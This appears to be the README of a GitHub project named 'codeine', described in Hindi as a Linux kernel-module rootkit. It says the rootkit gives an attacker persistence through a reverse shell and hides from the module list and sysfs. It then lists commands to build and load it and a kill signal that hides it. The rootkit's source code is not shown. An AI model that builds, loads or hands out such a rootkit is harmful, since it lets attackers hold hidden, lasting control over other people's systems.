diego-tella/codeineLinux LKM Rootkit
.o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 `8D 88' `88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88~~~~~ 88 88 V8o88 88~~~~~ Y8b d8 `8b d8' 88 .8D 88. .88. 88 V888 88. `Y88P' `Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P
Codeine एक Linux LKM रूटकिट है जिसका उद्देश्य रिवर्स शेल के माध्यम से हमलावर की स्थिरता (persistence) सुनिश्चित करना और सिस्टम में पूरी तरह से छिपा रहना है। यह स्वयं को मॉड्यूल सूची और sysfs से छिपाता है।
परीक्षित कर्नेल संस्करण:
make
insmod codeine.ko
kill -59 0 //if CANBEHIDE var is TRUE
rmmod codeine